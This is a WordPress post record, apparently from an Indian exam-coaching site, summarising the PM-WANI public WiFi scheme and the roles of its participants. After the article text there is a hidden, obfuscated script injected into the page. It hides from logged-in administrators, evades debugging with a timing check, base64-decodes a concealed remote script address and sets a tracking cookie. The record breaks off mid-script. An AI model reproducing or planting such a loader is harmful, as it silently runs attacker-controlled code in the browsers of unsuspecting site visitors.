{"id":394,"date":"2023-11-30T09:50:40","date_gmt":"2023-11-30T09:50:40","guid":{"rendered":"https:\/\/iasquest.com\/?p=394"},"modified":"2026-02-11T19:29:09","modified_gmt":"2026-02-11T19:29:09","slug":"the-public-wifi-hotspots-in-india-is-around-0-5-million-out-of-which-0-18-million-is-registered-under-pm-wani-programme","status":"publish","type":"post","link":"https:\/\/kingmakersiasacademy.com\/current-affairs\/the-public-wifi-hotspots-in-india-is-around-0-5-million-out-of-which-0-18-million-is-registered-under-pm-wani-programme\/","title":{"rendered":"The public WiFi hotspots in India is around 0.5 million out of which 0.18 million is registered under PM-WANI programme"},"content":{"rendered":"\n<ul class=\"wp-block-list\">\n<li>The Union Cabinet headed by Prime Minister Shri Narendra Modi approved the proposal of <strong>Department of Telecom (DoT)<\/strong> to proliferate Broadband through Public Wi-Fi networks under the framework of the <strong>Prime Minister\u2019s Wi-Fi Access Network Interface (PM-WANI)<\/strong> on 9th December 2020.<\/li>\n\n\n\n<li>According to Statista, public <strong>WiFi hotspots<\/strong> per million population in the UK, US and China are respectively 175, 50 and 75 times that of India. Noting the lack of public WiFi infrastructure in India, the <strong>Telecom Regulatory Authority of India (TRAI)<\/strong> initiated the discussions on an open WiFi access protocol in 2016-17 and conducted many stakeholder meetings. The TRAI recommended an open common specification referred to as <strong>\u201cWiFi Access Network Interface (WANI)\u201d<\/strong> in 2017.<\/li>\n\n\n\n<li>The WANI exhibits characteristics of a Digital Public Infrastructure (DPI) to provide affordable broadband. Subsequently, the Centre launched the Prime Minister WANI (PM-WANI) scheme in December 2020 for improving affordable Wi-Fi access to people. The model envisioned setting up of public Wi-Fi hotspots in <strong>Public Data Offices<\/strong> (PDOs) by local entrepreneurs with methods for monetising Internet access and at the same time providing affordable Internet access to users. However, the PMWANI scheme has met with only limited success.<\/li>\n\n\n\n<li>This framework takes forward the goal of <strong>National Digital Communications Policy, 2018 (NDCP)<\/strong> of creating a robust digital communications infrastructure. The PM-WANI framework envisages provision of Broadband through Public Wi-Fi Hotspot providers.<\/li>\n\n\n\n<li>It will consist of elements such as <strong>Public Data Office (PDO), Public Data Office Aggregator (PDOA), App Provider and Central Registry.<\/strong><\/li>\n\n\n\n<li><strong>Public Data Office<\/strong> will establish, maintain, and operate PM-WANI compliant Wi-Fi Hotspots and provide last-mile connectivity to deliver Broadband services to subscribers by procuring internet bandwidth from telecom service providers and\/ or internet service providers.<\/li>\n\n\n\n<li><strong>Public Data Office Aggregator<\/strong> will provide aggregation services such as authorization and accounting to PDOs, thereby facilitating PDOs in providing services to the end consumer.<\/li>\n\n\n\n<li><strong>App Provider<\/strong> will develop an application to register users and discover and display PM-WANI compliant Wi-Fi Hotspots in the proximity for accessing the internet service and also authenticate the potential Broadband users.<\/li>\n\n\n\n<li><strong>Central Registry<\/strong> will maintain the details of App Providers, PDOAs, and PDOs. It is currently maintained by the <strong>Centre for Development of Telematics (C-DoT).<\/strong><\/li>\n\n\n\n<li>Any entity can be a PDO. NO REGISTRATION will be required. It will install Wi-Fi Access point. Any <strong>Village level entrepreneur (VLE),<\/strong> Grocery shops owner, Tea stalls, Kirana shops, Vegetable shops, restaurant owner etc. all can become PDO and start selling internet broadband over Wi-Fi.<\/li>\n<\/ul>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; 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